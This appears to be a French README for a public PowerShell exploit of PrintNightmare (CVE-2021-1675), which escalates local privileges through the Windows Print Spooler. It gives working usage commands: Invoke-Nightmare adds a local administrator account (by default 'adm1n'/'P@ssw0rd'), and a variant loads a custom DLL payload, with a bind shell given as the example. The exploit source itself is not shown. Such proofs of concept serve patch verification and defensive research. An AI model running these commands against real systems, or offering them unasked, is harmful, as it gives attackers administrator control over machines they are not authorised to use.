
Exploit PowerShell pour PrintNightmare (CVE-2021-1675) effectuant une élévation de privilèges locale via Print Spooler, avec injection d'une charge utile DLL personnalisée pour ajouter des utilisateurs administrateurs locaux.
Caleb Stewart | John Hammond | July 1, 2021
CVE-2021-1675 est une vulnérabilité critique d'exécution de code à distance et d'élévation de privilèges locaux surnommée "PrintNightmare."
Des preuves de concept ont été publiées (Python, C++) pour la capacité d'exécution de code à distance, ainsi qu'une version C# pour l'élévation de privilèges locale. Nous n'avions pas vu d'implémentation native en PowerShell pur, et nous avons voulu tenter de raffiner et de reformuler l'exploit.
Ce script PowerShell effectue une élévation de privilèges locale (LPE) avec la technique d'attaque PrintNightmare.

Cela a été testé sur Windows Server 2016 et Windows Server 2019.
Ajouter un nouvel utilisateur au groupe des administrateurs locaux par défaut :
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Fournissez une charge utile DLL personnalisée pour faire tout ce que vous souhaitez.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"